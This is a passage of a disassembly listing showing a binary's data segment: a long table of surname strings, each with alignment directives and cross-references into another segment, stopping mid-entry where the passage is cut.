aWeighart db 'Weighart',0 ; DATA XREF: seg002:0043D654o align 10h aWaugh db 'Waugh',0 ; DATA XREF: seg002:0043D650o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: seg002:0043D64Co aWasowska db 'Wasowska',0 ; DATA XREF: seg002:0043D648o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: seg002:0043D644o ; seg001:00432E18o align 4 dword_430058 dd 686E6156h ; DATA XREF: seg002:0043D640o aEeckeren db 'eeckeren',0 ; DATA XREF: seg002:off_43E4D0o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: seg002:0043D63Co align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: seg002:0043D638o aVanallen db 'vanAllen',0 ; DATA XREF: seg002:0043D634o align 4 aWalter db 'Walter',0 ; DATA XREF: seg002:0043D630o align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: seg002:0043D62Co align 4 aWales db 'Wales',0 ; DATA XREF: seg002:0043D628o align 4 aValencia db 'Valencia',0 ; DATA XREF: seg002:0043D624o align 10h aValberg db 'Valberg',0 ; DATA XREF: seg002:0043D620o aWaite db 'Waite',0 ; DATA XREF: seg002:0043D61Co align 10h aVacca db 'Vacca',0 ; DATA XREF: seg002:0043D618o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: seg002:0043D614o align 10h aUsdan db 'Usdan',0 ; DATA XREF: seg002:0043D610o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: seg002:0043D60Co align 4 aUrban db 'Urban',0 ; DATA XREF: seg002:0043D608o align 10h aUpsdell db 'Upsdell',0 ; DATA XREF: seg002:0043D604o aUntermeyer db 'Untermeyer',0 ; DATA XREF: seg002:0043D600o align 4 aUllman db 'Ullman',0 ; DATA XREF: seg002:0043D5FCo align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: seg002:0043D5F8o align 4 aTwells db 'Twells',0 ; DATA XREF: seg002:0043D5F4o align 10h aTuttle db 'Tuttle',0 ; DATA XREF: seg002:0043D5F0o align 4 aTurek db 'Turek',0 ; DATA XREF: seg002:0043D5ECo align 10h aTurano db 'Turano',0 ; DATA XREF: seg002:0043D5E8o align 4 aTukan db 'Tukan',0 ; DATA XREF: seg002:0043D5E4o align 10h aTudge db 'Tudge',0 ; DATA XREF: seg002:0043D5E0o align 4 aTuck db 'Tuck',0 ; DATA XREF: seg002:0043D5DCo align 10h aTsukurov db 'Tsukurov',0 ; DATA XREF: seg002:0043D5D8o align 4 aTsomides db 'Tsomides',0 ; DATA XREF: seg002:0043D5D4o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: seg002:0043D5D0o aTruss db 'Truss',0 ; DATA XREF: seg002:0043D5CCo align 4 aTroy db 'Troy',0 ; DATA XREF: seg002:0043D5C8o align 10h aTroiani db 'Troiani',0 ; DATA XREF: seg002:0043D5C4o aTringali db 'Tringali',0 ; DATA XREF: seg002:0043D5C0o align 4 aTrewin db 'Trewin',0 ; DATA XREF: seg002:0043D5BCo align 4 aTrenga db 'Trenga',0 ; DATA XREF: seg002:0043D5B8o align 4 aTraebert db 'Traebert',0 ; DATA XREF: seg002:0043D5B4o align 10h aToye db 'Toye',0 ; DATA XREF: seg002:0043D5B0o align 4 aTowler db 'Towler',0 ; DATA XREF: seg002:0043D5ACo align 10h aTorske db 'Torske',0 ; DATA XREF: seg002:0043D5A8o align 4 aTorresi db 'Torresi',0 ; DATA XREF: seg002:0043D5A4o aTopulos db 'Topulos',0 ; DATA XREF: seg002:0043D5A0o aToomer db 'Toomer',0 ; DATA XREF: seg002:0043D59Co align 10h aTomford db 'Tomford',0 ; DATA XREF: seg002:0043D598o aTolman db 'Tolman',0 ; DATA XREF: seg002:0043D594o align 10h aTolls db 'Tolls',0 ; DATA XREF: seg002:0043D590o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: seg002:0043D58Co align 4 aTofallis db 'Tofallis',0 ; DATA XREF: seg002:0043D588o align 10h aTimmons db 'Timmons',0 ; DATA XREF: seg002:0043D584o aTill db 'Till',0 ; DATA XREF: seg002:0043D580o align 10h aTierney db 'Tierney',0 ; DATA XREF: seg002:0043D57Co aThroop db 'Throop',0 ; DATA XREF: seg002:0043D578o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: seg002:0043D574o aThisted db 'Thisted',0 ; DATA XREF: seg002:0043D570o aThibault db 'Thibault',0 ; DATA XREF: seg002:0043D56Co align 4 aTheodos db 'Theodos',0 ; DATA XREF: seg002:0043D568o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: seg002:0043D564o align 4 aThan db 'Than',0 ; DATA XREF: seg002:0043D560o align 4 aTerracini db 'Terracini',0 ; DATA XREF: seg002:0043D55Co align 4 aTenney db 'Tenney',0 ; DATA XREF: seg002:0043D558o align 10h aTemmer db 'Temmer',0 ; DATA XREF: seg002:0043D554o align 4 aTemes db 'Temes',0 ; DATA XREF: seg002:0043D550o align 10h aTeague db 'Teague',0 ; DATA XREF: seg002:0043D54Co align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: seg002:0043D548o align 4 aTawn db 'Tawn',0 ; DATA XREF: seg002:0043D544o align 4 aTaveras db 'Taveras',0 ; DATA XREF: seg002:0043D540o aTatar db 'Tatar',0 ; DATA XREF: seg002:0043D53Co align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: seg002:0043D538o align 4 aTandler db 'Tandler',0 ; DATA XREF: seg002:0043D534o aTambiah db 'Tambiah',0 ; DATA XREF: seg002:0043D530o aTalaugon db 'Talaugon',0 ; DATA XREF: seg002:0043D52Co align 4 aTai db 'Tai',0 ; DATA XREF: seg002:0043D528o aTagiuri db 'Tagiuri',0 ; DATA XREF: seg002:0043D524o aSwindle db 'Swindle',0 ; DATA XREF: seg002:0043D520o aSweetser db 'Sweetser',0 ; DATA XREF: seg002:0043D51Co align 4 aSweeting db 'Sweeting',0 ; DATA XREF: seg002:0043D518o align 10h aSurdam db 'Surdam',0 ; DATA XREF: seg002:0043D514o align 4 aSuo db 'Suo',0 ; DATA XREF: seg002:0043D510o aSumner db 'Sumner',0 ; DATA XREF: seg002:0043D50Co align 4 aSullivan db 'Sullivan',0 ; DATA XREF: seg002:0043D508o align 10h aStringer db 'Stringer',0 ; DATA XREF: seg002:0043D504o align 4 aStreiff db 'Streiff',0 ; DATA XREF: seg002:0043D500o aStrauch db 'Strauch',0 ; DATA XREF: seg002:0043D4FCo aStrange db 'Strange',0 ; DATA XREF: seg002:0043D4F8o aStott db 'Stott',0 ; DATA XREF: seg002:0043D4F4o align 4 aStorer db 'Storer',0 ; DATA XREF: seg002:0043D4F0o align 4 aStonich db 'Stonich',0 ; DATA XREF: seg002:0043D4ECo aStolzenberg db 'Stolzenberg',0 ; DATA XREF: seg002:0043D4E8o aStockwell db 'Stockwell',0 ; DATA XREF: seg002:0043D4E4o align 4 aStockton db 'Stockton',0 ; DATA XREF: seg002:0043D4E0o align 10h aStock db 'Stock',0 ; DATA XREF: seg002:0043D4DCo align 4 aStillwell db 'Stillwell',0 ; DATA XREF: seg002:0043D4D8o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: seg002:0043D4D4o align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: seg002:0043D4D0o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: seg002:0043D4CCo aStephanian db 'Stephanian',0 ; DATA XREF: seg002:0043D4C8o align 4 aSteiner db 'Steiner',0 ; DATA XREF: seg002:0043D4C4o aStefani db 'Stefani',0 ; DATA XREF: seg002:0043D4C0o aStatlender db 'Statlender',0 ; DATA XREF: seg002:0043D4BCo align 4 aStates db 'States',0 ; DATA XREF: seg002:0043D4B8o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: seg002:0043D4B4o align 4 aStang db 'Stang',0 ; DATA XREF: seg002:0043D4B0o align 4 aStam db 'Stam',0 ; DATA XREF: seg002:0043D4ACo align 4 aStalvey db 'Stalvey',0 ; DATA XREF: seg002:0043D4A8o aStmartin db 'StMartin',0 ; DATA XREF: seg002:0043D4A4o align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: seg002:0043D4A0o aSpiliotis db 'Spiliotis',0 ; DATA XREF: seg002:0043D49Co align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: seg002:0043D498o align 4 aSpicer db 'Spicer',0 ; DATA XREF: seg002:0043D494o align 4 aSperber db 'Sperber',0 ; DATA XREF: seg002:0043D490o aSpence db 'Spence',0 ; DATA XREF: seg002:0043D48Co align 4 aSpeizer db 'Speizer',0 ; DATA XREF: seg002:0043D488o aSpaulding db 'Spaulding',0 ; DATA XREF: seg002:0043D484o align 10h aSparrow db 'Sparrow',0 ; DATA XREF: seg002:0043D480o aSpanier db 'Spanier',0 ; DATA XREF: seg002:0043D47Co aSoultanian db 'Soultanian',0 ; DATA XREF: seg002:0043D478o align 4 aSoule db 'Soule',0 ; DATA XREF: seg002:0043D474o align 4 aSoukup db 'Soukup',0 ; DATA XREF: seg002:0043D470o align 4 aSottak db 'Sottak',0 ; DATA XREF: seg002:0043D46Co align 4 aSorg db 'Sorg',0 ; DATA XREF: seg002:0043D468o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: seg002:0043D464o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: seg002:0043D460o align 4 aSomers db 'Somers',0 ; DATA XREF: seg002:0043D45Co align 4 aSolon db 'Solon',0 ; DATA XREF: seg002:0043D458o align 4 aSocolow db 'Socolow',0 ; DATA XREF: seg002:0043D454o aSnodgrass db 'Snodgrass',0 ; DATA XREF: seg002:0043D450o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: seg002:0043D44Co aSmilow db 'Smilow',0 ; DATA XREF: seg002:0043D448o align 4 aSlowe db 'Slowe',0 ; DATA XREF: seg002:0043D444o align 10h aSloan db 'Sloan',0 ; DATA XREF: seg002:0043D440o align 4 aSkoda db 'Skoda',0 ; DATA XREF: seg002:0043D43Co align 10h aSkerry db 'Skerry',0 ; DATA XREF: seg002:0043D438o align 4 aSkane db 'Skane',0 ; DATA XREF: seg002:0043D434o align 10h aSites db 'Sites',0 ; DATA XREF: seg002:0043D430o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: seg002:0043D42Co aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: seg002:0043D428o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: seg002:0043D424o align 4 aSilverman db 'Silverman',0 ; DATA XREF: seg002:0043D420o align 4 aSigna db 'Signa',0 ; DATA XREF: seg002:0043D41Co align 4 aSigini db 'Sigini',0 ; DATA XREF: seg002:0043D418o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: seg002:0043D414o aSiesto db 'Siesto',0 ; DATA XREF: seg002:0043D410o align 4 aShimon db 'Shimon',0 ; DATA XREF: seg002:0043D40Co align 4 aShibata db 'Shibata',0 ; DATA XREF: seg002:0043D408o aShia db 'Shia',0 ; DATA XREF: seg002:0043D404o align 4 aShesko db 'Shesko',0 ; DATA XREF: seg002:0043D400o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: seg002:0043D3FCo align 10h aSheppard db 'Sheppard',0 ; DATA XREF: seg002:0043D3F8o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: seg002:0043D3F4o align 4 aSheats db 'Sheats',0 ; DATA XREF: seg002:0043D3F0o align 10h aShea db 'Shea',0 ; DATA XREF: seg002:0043D3ECo align 4 aShavelson db 'Shavelson',0 ; DATA XREF: seg002:0043D3E8o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: seg002:0043D3E4o aShar db 'Shar',0 ; DATA XREF: seg002:0043D3E0o align 4 aShanley db 'Shanley',0 ; DATA XREF: seg002:0043D3DCo aShankland db 'Shankland',0 ; DATA XREF: seg002:0043D3D8o align 4 aShakis db 'Shakis',0 ; DATA XREF: seg002:0043D3D4o align 10h aShaikh db 'Shaikh',0 ; DATA XREF: seg002:0043D3D0o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: seg002:0043D3CCo aSexton db 'Sexton',0 ; DATA XREF: seg002:0043D3C8o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: seg002:0043D3C4o align 4 aSennett db 'Sennett',0 ; DATA XREF: seg002:0043D3C0o aSen db 'Sen',0 ; DATA XREF: seg002:0043D3BCo aSelvage db 'Selvage',0 ; DATA XREF: seg002:0043D3B8o aSekler db 'Sekler',0 ; DATA XREF: seg002:0043D3B4o align 10h aSegal db 'Segal',0 ; DATA XREF: seg002:0043D3B0o align 4 aSeeber db 'Seeber',0 ; DATA XREF: seg002:0043D3ACo align 10h aSeaton db 'Seaton',0 ; DATA XREF: seg002:0043D3A8o align 4 aScudder db 'Scudder',0 ; DATA XREF: seg002:0043D3A4o aScovel db 'Scovel',0 ; DATA XREF: seg002:0043D3A0o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: seg002:0043D39Co aSchwan db 'Schwan',0 ; DATA XREF: seg002:0043D398o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: seg002:0043D394o align 4 aSchutte db 'Schutte',0 ; DATA XREF: seg002:0043D390o aSchuman db 'Schuman',0 ; DATA XREF: seg002:0043D38Co aSchossberger db 'Schossberger',0 ; DATA XREF: seg002:0043D388o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: seg002:0043D384o aSchilling db 'Schilling',0 ; DATA XREF: seg002:0043D380o align 4 aSchifini db 'Schifini',0 ; DATA XREF: seg002:0043D37Co align 4 aSchiano db 'Schiano',0 ; DATA XREF: seg002:0043D378o aScheiner db 'Scheiner',0 ; DATA XREF: seg002:0043D374o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: seg002:0043D370o aScharf db 'Scharf',0 ; DATA XREF: seg002:0043D36Co align 10h aScepan db 'Scepan',0 ; DATA XREF: seg002:0043D368o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: seg002:0043D364o align 4 aSayied db 'Sayied',0 ; DATA XREF: seg002:0043D360o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: seg002:0043D35Co aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: seg002:0043D358o align 4 aSatta db 'Satta',0 ; DATA XREF: seg002:0043D354o align 4 aSatin db 'Satin',0 ; DATA XREF: seg002:0043D350o align 4 aSase db 'Sase',0 ; DATA XREF: seg002:0043D34Co align 4 aSartore db 'Sartore',0 ; DATA XREF: seg002:0043D348o aSarin db 'Sarin',0 ; DATA XREF: seg002:0043D344o align 4 aSapers db 'Sapers',0 ; DATA XREF: seg002:0043D340o align 4 aSanna db 'Sanna',0 ; DATA XREF: seg002:0043D33Co align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: seg002:0043D338o aSamson db 'Samson',0 ; DATA XREF: seg002:0043D334o align 4 aSali db 'Sali',0 ; DATA XREF: seg002:0043D330o align 4 aSahu db 'Sahu',0 ; DATA XREF: seg002:0043D32Co align 4 aSafire db 'Safire',0 ; DATA XREF: seg002:0043D328o align 4 aSadler db 'Sadler',0 ; DATA XREF: seg002:0043D324o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: seg002:0043D320o align 10h aRyu db 'Ryu',0 ; DATA XREF: seg002:0043D31Co aRush db 'Rush',0 ; DATA XREF: seg002:0043D318o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: seg002:0043D314o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: seg002:0043D310o align 4 aRuan db 'Ruan',0 ; DATA XREF: seg002:0043D30Co align 4 aRu db 'Ru',0 ; DATA XREF: seg002:0043D308o align 10h aRoyal db 'Royal',0 ; DATA XREF: seg002:0043D304o align 4 aRow db 'Row',0 ; DATA XREF: seg002:0043D300o aRonen db 'Ronen',0 ; DATA XREF: seg002:0043D2FCo align 4 aRogers db 'Rogers',0 ; DATA XREF: seg002:0043D2F8o align 4 aRoesler db 'Roesler',0 ; DATA XREF: seg002:0043D2F4o aRocha db 'Rocha',0 ; DATA XREF: seg002:0043D2F0o align 4 aRobinson db 'Robinson',0 ; DATA XREF: seg002:0043D2ECo align 4 aRivera db 'Rivera',0 ; DATA XREF: seg002:0043D2E8o align 10h aRish db 'Rish',0 ; DATA XREF: seg002:0043D2E4o align 4 aRineer db 'Rineer',0 ; DATA XREF: seg002:0043D2E0o align 10h aRindos db 'Rindos',0 ; DATA XREF: seg002:0043D2DCo align 4 aRielly db 'Rielly',0 ; DATA XREF: seg002:0043D2D8o align 10h aRichmond db 'Richmond',0 ; DATA XREF: seg002:0043D2D4o align 4 aRhea db 'Rhea',0 ; DATA XREF: seg002:0043D2D0o align 4 aResnik db 'Resnik',0 ; DATA XREF: seg002:0043D2CCo align 4 aRepetto db 'Repetto',0 ; DATA XREF: seg002:0043D2C8o aRenick db 'Renick',0 ; DATA XREF: seg002:0043D2C4o align 4 aRemak db 'Remak',0 ; DATA XREF: seg002:0043D2C0o align 4 aReinold db 'Reinold',0 ; DATA XREF: seg002:0043D2BCo aCunningham db 'Cunningham',0 ; DATA XREF: seg002:0043D2B8o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: seg002:0043D2B4o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: seg002:0043D2B0o align 4 aRayport db 'Rayport',0 ; DATA XREF: seg002:0043D2ACo aRapple db 'Rapple',0 ; DATA XREF: seg002:0043D2A8o align 4 aRankin db 'Rankin',0 ; DATA XREF: seg002:0043D2A4o align 4 aRangan db 'Rangan',0 ; DATA XREF: seg002:0043D2A0o align 4 aRaney db 'Raney',0 ; DATA XREF: seg002:0043D29Co align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: seg002:0043D298o aRadeke db 'Radeke',0 ; DATA XREF: seg002:0043D294o align 10h aRabkin db 'Rabkin',0 ; DATA XREF: seg002:0043D290o align 4 aRabe db 'Rabe',0 ; DATA XREF: seg002:0043D28Co align 10h aQuetin db 'Quetin',0 ; DATA XREF: seg002:0043D288o align 4 aQuaday db 'Quaday',0 ; DATA XREF: seg002:0043D284o align 10h aPynchon db 'Pynchon',0 ; DATA XREF: seg002:0043D280o aPugh db 'Pugh',0 ; DATA XREF: seg002:0043D27Co align 10h aPuccia db 'Puccia',0 ; DATA XREF: seg002:0043D278o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: seg002:0043D274o align 4 aProietti db 'Proietti',0 ; DATA XREF: seg002:0043D270o align 4 aPritz db 'Pritz',0 ; DATA XREF: seg002:0043D26Co align 4 aPritchard db 'Pritchard',0 ; DATA XREF: seg002:0043D268o align 4 aPrevost db 'Prevost',0 ; DATA XREF: seg002:0043D264o aPreucel db 'Preucel',0 ; DATA XREF: seg002:0043D260o aPresper db 'Presper',0 ; DATA XREF: seg002:0043D25Co aPowers db 'Powers',0 ; DATA XREF: seg002:0043D258o align 4 aPoolman db 'Poolman',0 ; DATA XREF: seg002:0043D254o aPoma db 'Poma',0 ; DATA XREF: seg002:0043D250o align 4 aPolitis db 'Politis',0 ; DATA XREF: seg002:0043D24Co aPolanyi db 'Polanyi',0 ; DATA XREF: seg002:0043D248o aPolak db 'Polak',0 ; DATA XREF: seg002:0043D244o align 10h aPoirier db 'Poirier',0 ; DATA XREF: seg002:0043D240o aPointer db 'Pointer',0 ; DATA XREF: seg002:0043D23Co aPoincaire db 'Poincaire',0 ; DATA XREF: seg002:0043D238o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: seg002:0043D234o align 4 aPo db 'Po',0 ; DATA XREF: seg002:0043D230o align 4 aPlous db 'Plous',0 ; DATA XREF: seg002:0043D22Co align 4 aPlasket db 'Plasket',0 ; DATA XREF: seg002:0043D228o aPlant db 'Plant',0 ; DATA XREF: seg002:0043D224o align 4 aPlancon db 'Plancon',0 ; DATA XREF: seg002:0043D220o aPinot db 'Pinot',0 ; DATA XREF: seg002:0043D21Co align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: seg002:0043D218o aPfister db 'Pfister',0 ; DATA XREF: seg002:0043D214o aPettit db 'Pettit',0 ; DATA XREF: seg002:0043D210o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: seg002:0043D20Co align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: seg002:0043D208o align 4 aPeters db 'Peters',0 ; DATA XREF: seg002:0043D204o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: seg002:0043D200o align 4 aPerone db 'Perone',0 ; DATA XREF: seg002:0043D1FCo align 10h aPerna db 'Perna',0 ; DATA XREF: seg002:0043D1F8o align 4 aPerlman db 'Perlman',0 ; DATA XREF: seg002:0043D1F4o aPerlak db 'Perlak',0 ; DATA XREF: seg002:0043D1F0o align 4 aPerko db 'Perko',0 ; DATA XREF: seg002:0043D1ECo align 10h aPereira db 'Pereira',0 ; DATA XREF: seg002:0043D1E8o aPenny db 'Penny',0 ; DATA XREF: seg002:0043D1E4o align 10h aPeishel db 'Peishel',0 ; DATA XREF: seg002:0043D1E0o aPederson db 'Pederson',0 ; DATA XREF: seg002:0043D1DCo align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: seg002:0043D1D8o align 10h aPeabody db 'Peabody',0 ; DATA XREF: seg002:0043D1D4o aPaynter db 'Paynter',0 ; DATA XREF: seg002:0043D1D0o aPawloski db 'Pawloski',0 ; DATA XREF: seg002:0043D1CCo align 4 aPavlon db 'Pavlon',0 ; DATA XREF: seg002:0043D1C8o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: seg002:0043D1C4o aPattullo db 'Pattullo',0 ; DATA XREF: seg002:0043D1C0o align 4 aPatrick db 'Patrick',0 ; DATA XREF: seg002:0043D1BCo aPatefield db 'Patefield',0 ; DATA XREF: seg002:0043D1B8o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: seg002:0043D1B4o align 4 aPartridge db 'Partridge',0 ; DATA XREF: seg002:0043D1B0o align 4 aParris db 'Parris',0 ; DATA XREF: seg002:0043D1ACo align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: seg002:0043D1A8o aPaoletti db 'Paoletti',0 ; DATA XREF: seg002:0043D1A4o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: seg002:0043D1A0o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: seg002:0043D19Co align 4 aPanadero db 'Panadero',0 ; DATA XREF: seg002:0043D198o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: seg002:0043D194o align 4 aPallara db 'Pallara',0 ; DATA XREF: seg002:0043D190o aPalepu db 'Palepu',0 ; DATA XREF: seg002:0043D18Co align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: seg002:0043D188o align 10h aPaine db 'Paine',0 ; DATA XREF: seg002:0043D184o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: seg002:0043D180o align 4 aOvid db 'Ovid',0 ; DATA XREF: seg002:0043D17Co align 10h aOuchida db 'Ouchida',0 ; DATA XREF: seg002:0043D178o aOtten db 'Otten',0 ; DATA XREF: seg002:0043D174o align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: seg002:0043D170o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: seg002:0043D16Co align 4 aOspina db 'Ospina',0 ; DATA XREF: seg002:0043D168o align 10h aOrsi db 'Orsi',0 ; DATA XREF: seg002:0043D164o align 4 aOrfield db 'Orfield',0 ; DATA XREF: seg002:0043D160o aOray db 'Oray',0 ; DATA XREF: seg002:0043D15Co align 4 aOpel db 'Opel',0 ; DATA XREF: seg002:0043D158o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: seg002:0043D154o aOman db 'Oman',0 ; DATA XREF: seg002:0043D150o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: seg002:0043D14Co align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: seg002:0043D148o align 4 aOlson db 'Olson',0 ; DATA XREF: seg002:0043D144o align 10h aOlsen db 'Olsen',0 ; DATA XREF: seg002:0043D140o align 4 aOldford db 'Oldford',0 ; DATA XREF: seg002:0043D13Co aOHagan db 'O',27h,'hagan',0 ; DATA XREF: seg002:0043D138o aOh db 'Oh',0 ; DATA XREF: seg002:0043D134o align 4 aOgata db 'Ogata',0 ; DATA XREF: seg002:0043D130o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: seg002:0043D12Co aNuzum db 'Nuzum',0 ; DATA XREF: seg002:0043D128o align 4 aNotman db 'Notman',0 ; DATA XREF: seg002:0043D124o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: seg002:0043D120o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: seg002:0043D11Co align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: seg002:0043D118o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: seg002:0043D114o align 4 aNi_0 db 'Ni',0 ; DATA XREF: seg002:0043D110o align 10h aNg db 'Ng',0 ; DATA XREF: seg002:0043D10Co align 4 aNewlin db 'Newlin',0 ; DATA XREF: seg002:0043D108o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: seg002:0043D104o aNeuman db 'Neuman',0 ; DATA XREF: seg002:0043D100o align 4 aNesci db 'Nesci',0 ; DATA XREF: seg002:0043D0FCo align 4 aNenna db 'Nenna',0 ; DATA XREF: seg002:0043D0F8o align 4 aNelson db 'Nelson',0 ; DATA XREF: seg002:0043D0F4o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: seg002:0043D0F0o aNaviaux db 'Naviaux',0 ; DATA XREF: seg002:0043D0ECo aNardone db 'Nardone',0 ; DATA XREF: seg002:0043D0E8o aNardi db 'Nardi',0 ; DATA XREF: seg002:0043D0E4o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: seg002:0043D0E0o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: seg002:0043D0DCo align 4 aMussachio db 'Mussachio',0 ; DATA XREF: seg002:0043D0D8o align 4 aMumford db 'Mumford',0 ; DATA XREF: seg002:0043D0D4o aMulroy db 'Mulroy',0 ; DATA XREF: seg002:0043D0D0o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: seg002:0043D0CCo aMugnai db 'Mugnai',0 ; DATA XREF: seg002:0043D0C8o align 4 aMuello db 'Muello',0 ; DATA XREF: seg002:0043D0C4o align 4 aMudarri db 'Mudarri',0 ; DATA XREF: seg002:0043D0C0o aMotooka db 'Motooka',0 ; DATA XREF: seg002:0043D0BCo aMostafavi db 'Mostafavi',0 ; DATA XREF: seg002:0043D0B8o align 4 aMosler db 'Mosler',0 ; DATA XREF: seg002:0043D0B4o align 10h aMosher db 'Mosher',0 ; DATA XREF: seg002:0043D0B0o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: seg002:0043D0ACo align 4 aMorrow db 'Morrow',0 ; DATA XREF: seg002:0043D0A8o align 4 aMorrison db 'Morrison',0 ; DATA XREF: seg002:0043D0A4o align 4 aMoreton db 'Moreton',0 ; DATA XREF: seg002:0043D0A0o aMorani db 'Morani',0 ; DATA XREF: seg002:0043D09Co align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: seg002:0043D098o align 4 aMontilio db 'Montilio',0 ; DATA XREF: seg002:0043D094o align 10h aMonque db 'Monque',0 ; DATA XREF: seg002:0043D090o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: seg002:0043D08Co align 4 aMohr db 'Mohr',0 ; DATA XREF: seg002:0043D088o align 4 aMoeller db 'Moeller',0 ; DATA XREF: seg002:0043D084o aModestino db 'Modestino',0 ; DATA XREF: seg002:0043D080o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: seg002:0043D07Co aMittal db 'Mittal',0 ; DATA XREF: seg002:0043D078o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: seg002:0043D074o aGonzalez db 'Gonzalez',0 ; DATA XREF: seg002:0043D070o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: seg002:0043D06Co aMini db 'Mini',0 ; DATA XREF: seg002:0043D068o align 4 aMinh db 'Minh',0 ; DATA XREF: seg002:0043D064o align 4 aMills db 'Mills',0 ; DATA XREF: seg002:0043D060o align 4 aMieher db 'Mieher',0 ; DATA XREF: seg002:0043D05Co align 4 aMiddle db 'Middle',0 ; DATA XREF: seg002:0043D058o align 4 aMichelman db 'Michelman',0 ; DATA XREF: seg002:0043D054o align 4 aMeurer db 'Meurer',0 ; DATA XREF: seg002:0043D050o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: seg002:0043D04Co align 4 aMetelka db 'Metelka',0 ; DATA XREF: seg002:0043D048o aMerz db 'Merz',0 ; DATA XREF: seg002:0043D044o align 4 aMerseth db 'Merseth',0 ; DATA XREF: seg002:0043D040o aMerminod db 'Merminod',0 ; DATA XREF: seg002:0043D03Co align 10h aMerlani db 'Merlani',0 ; DATA XREF: seg002:0043D038o aMerikoski db 'Merikoski',0 ; DATA XREF: seg002:0043D034o align 4 aMenzies db 'Menzies',0 ; DATA XREF: seg002:0043D030o aMemisoglu db 'Memisoglu',0 ; DATA XREF: seg002:0043D02Co align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: seg002:0043D028o aMcnulty db 'Mcnulty',0 ; DATA XREF: seg002:0043D024o aMcnealy db 'Mcnealy',0 ; DATA XREF: seg002:0043D020o aMclaren db 'Mclaren',0 ; DATA XREF: seg002:0043D01Co aMclane db 'Mclane',0 ; DATA XREF: seg002:0043D018o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: seg002:0043D014o aMcintosh db 'Mcintosh',0 ; DATA XREF: seg002:0043D010o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: seg002:0043D00Co aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: seg002:0043D008o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: seg002:0043D004o align 4 aMcfadden db 